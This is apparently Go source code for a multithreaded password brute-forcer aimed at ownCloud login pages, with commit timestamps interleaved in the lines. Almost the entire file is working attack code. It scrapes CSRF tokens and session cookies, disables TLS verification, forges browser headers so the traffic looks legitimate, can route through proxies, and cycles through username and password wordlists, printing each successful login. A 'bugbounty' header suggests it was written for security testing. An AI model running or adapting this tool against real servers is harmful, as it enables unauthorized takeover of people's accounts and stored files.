2024-04-10 01:28:08 +00:00
package main
import (
"fmt"
"net/http"
"os"
"io"
"time"
"regexp"
"strings"
"net/url"
"crypto/tls"
"bufio"
"sync"
2024-04-10 22:40:10 +00:00
// "runtime"
2024-04-10 01:28:08 +00:00
// "encoding/json"
// "iouti"
)
func getCSRFtoken ( url string ) ( token , cookie string ) { // + cookie
http . DefaultTransport . ( * http . Transport ) . TLSClientConfig = & tls . Config { InsecureSkipVerify : true }
2024-04-10 22:50:21 +00:00
//TODO make it at least a bit look legit (add headers, etc)
2024-04-10 01:28:08 +00:00
res , err := http . Get ( url )
errHandler ( err , "can't connect to server" )
bodyChar , err := io . ReadAll ( res . Body )
res . Body . Close ( )
errHandler ( err , "can't read body of CSRF request" )
body := string ( bodyChar )
rTok , _ := regexp . Compile ( "data-requesttoken=\".*\"" )
token = rTok . FindString ( body )
token = strings . TrimPrefix ( token , "data-requesttoken=\"" )
token = strings . TrimSuffix ( token , "\"" )
//TODO cookie
// token = urlEncode(token) //No need, token automatically encoded in POST request by net/http
rCookie , _ := regexp . Compile ( "oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e" )
for key , val := range res . Header {
if key == "Set-Cookie" {
cookie = strings . Join ( rCookie . FindAllString ( strings . Join ( val , " " ) , - 1 ) , " " )
cookie = strings . TrimSuffix ( cookie , "; e" )
// cookie = strings.Join(val, " ")
}
// fmt.Println(key, " ",val)
}
return token , cookie
}
func urlEncode ( input string ) string {
return url . QueryEscape ( input )
}
func tryPassword ( link , proxy , token , cookie , user , pass string ) bool { //TODO header
var client = & http . Client { }
if proxy != "" {
proxyUrl , err := url . Parse ( proxy )
errHandler ( err , "wrong proxy url" )
http . DefaultTransport = & http . Transport { Proxy : http . ProxyURL ( proxyUrl ) }
client = & http . Client {
Timeout : time . Second * 10 ,
Transport : & http . Transport { Proxy : http . ProxyURL ( proxyUrl ) , TLSClientConfig : & tls . Config { InsecureSkipVerify : true } } ,
CheckRedirect : func ( req * http . Request , via [ ] * http . Request ) error {
return http . ErrUseLastResponse
} ,
}
} else {
client = & http . Client {
Timeout : time . Second * 10 ,
Transport : & http . Transport { TLSClientConfig : & tls . Config { InsecureSkipVerify : true } } ,
CheckRedirect : func ( req * http . Request , via [ ] * http . Request ) error {
return http . ErrUseLastResponse
} ,
}
}
data := url . Values {
"user" : { user } ,
"password" : { pass } ,
"timezone-offset" : { "3" } ,
"timezone" : { "Europe%2FMinsk" } ,
"requesttoken" : { token } ,
}
req , err := http . NewRequest ( "POST" , link , strings . NewReader ( data . Encode ( ) ) )
errHandler ( err , "can't create (POST) request" )
req . Header . Add ( "Accept" , "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" )
req . Header . Add ( "Connection" , "keep-alive" )
req . Header . Add ( "Cache-Control" , "max-age=0" )
req . Header . Add ( "sec-ch-ua" , "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"" )
req . Header . Add ( "sec-ch-ua-mobile" , "?0" )
req . Header . Add ( "sec-ch-ua-platform" , "\"Linux\"" )
req . Header . Add ( "Upgrade-Insecure-Requests" , "1" )
req . Header . Set ( "User-Agent" , "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" )
req . Header . Add ( "Origin" , "null" )
req . Header . Add ( "Cookie" , cookie )
req . Header . Add ( "Content-Type" , "application/x-www-form-urlencoded" )
req . Header . Set ( "Content-Type" , "application/x-www-form-urlencoded" )
req . Header . Set ( "Accept-Encoding" , "Accept-Encoding: gzip, deflate, br" )
req . Header . Add ( "Sec-Fetch-Site" , "same-origin" )
req . Header . Add ( "Sec-Fetch-Mode" , "navigate" )
req . Header . Add ( "Sec-Fetch-User" , "?1" )
req . Header . Add ( "Sec-Fetch-Dest" , "document" )
req . Header . Add ( "Accept-Language" , "en-US,en;q=0.9" )
req . Header . Add ( "bugbounty" , "owncloud_bruteforcer" )
response , err := client . Do ( req )
errHandler ( err , "can't create (POST) request" )
defer response . Body . Close ( )
// Print response body
// body, _ := io.ReadAll(response.Body)
// fmt.Println(string(body))
// We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO
var location303 string
for key , val := range response . Header {
if key == "Location" {
location303 = strings . Join ( val , " " )
}
}
if strings . Contains ( location303 , "apps/files" ) {
return true
} else {
return false
}
}
func errHandler ( err error , message string ) {
if err != nil {
fmt . Printf ( "%s: %s\n" , message , err )
os . Exit ( 1 )
}
}
var waitGroup sync . WaitGroup
func main ( ) {
options , err := ParseOptions ( )
errHandler ( err , "Error parsing options" )
//for GET request (func getCSRFtoken)
if options . Proxy != "" {
http . DefaultTransport . ( * http . Transport ) . TLSClientConfig = & tls . Config { InsecureSkipVerify : true }
proxyUrl , err := url . Parse ( options . Proxy )
errHandler ( err , "wrong proxy" )
http . DefaultTransport = & http . Transport { Proxy : http . ProxyURL ( proxyUrl ) }
}
//TODO add check for owncloud page
var usernames * bufio . Scanner
// fmt.Println(options.UserFile,options.PassFile)
// fmt.Println(options)
if options . UserFile != "" {
userFile , err := os . Open ( options . UserFile )
errHandler ( err , "Can't read username wordlist" )
usernames = bufio . NewScanner ( userFile )
usernames . Split ( bufio . ScanLines )
}
// main loop
if options . UserFile != "" {
for usernames . Scan ( ) {
user := usernames . Text ( )
fmt . Println ( "User -" , user )
options . bruteforce ( user )
2024-04-10 22:40:10 +00:00
// runtime.GC() //TODO might a hack to free memory, need to learn more where it's allocated. My guess it's channel. P.S. Yep, it is
2024-04-10 01:28:08 +00:00
}
} else {
options . bruteforce ( options . User )
}
//TODO progress bar would be nice. Or some counter of requests
}
func ( options Options ) bruteforce ( user string ) {
passFile , err := os . Open ( options . PassFile )
errHandler ( err , "Can't read password wordlist" )
passwords := bufio . NewScanner ( passFile )
passwords . Split ( bufio . ScanLines )
2024-04-10 22:40:10 +00:00
// pass := make(chan string, 15000001) // rockyou - 14,344,391
pass := make ( chan string , 1000 ) // primarly we need big enough buffer to prevent slowdown for workers, so we kinda expect less then 1000 workers/threads
2024-04-10 01:28:08 +00:00
2024-04-10 22:40:10 +00:00
go func ( ) {
for passwords . Scan ( ) { //TODO BUG constantly rereads file to write it to channel. Better way would be to write it in string/[]string var and then from it write to channel. Doubles memory but we don't rely on reading file from HDD which might be busy slowing down burteforce
pass <- string ( passwords . Text ( ) )
}
close ( pass )
} ( )
2024-04-10 01:28:08 +00:00
var foundPass = false
// for _ := range options.Threads {
for i := 0 ; i < options . Threads && ! foundPass ; i ++ {
// start workers
// TODO iterate over pass channel
// for password := range pass {
// fmt.Println("try - ",password)
waitGroup . Add ( 1 )
go func ( ) {
for ! foundPass {
token , cookie := getCSRFtoken ( options . URL )
password1 , channelClosed := <- pass
if ! channelClosed { foundPass = true }
2024-04-13 15:09:16 +00:00
2024-04-10 01:28:08 +00:00
if tryPassword ( options . URL , options . Proxy , token , cookie , user , password1 ) {
fmt . Printf ( "[HIT] %s:%s\n" , user , password1 )
foundPass = true
// close(pass)
//TODO stop bruteforce for user
}
}
// if foundPass {fmt.Println("we already have pass")}
defer waitGroup . Done ( )
} ( )
// }
}
waitGroup . Wait ( )
}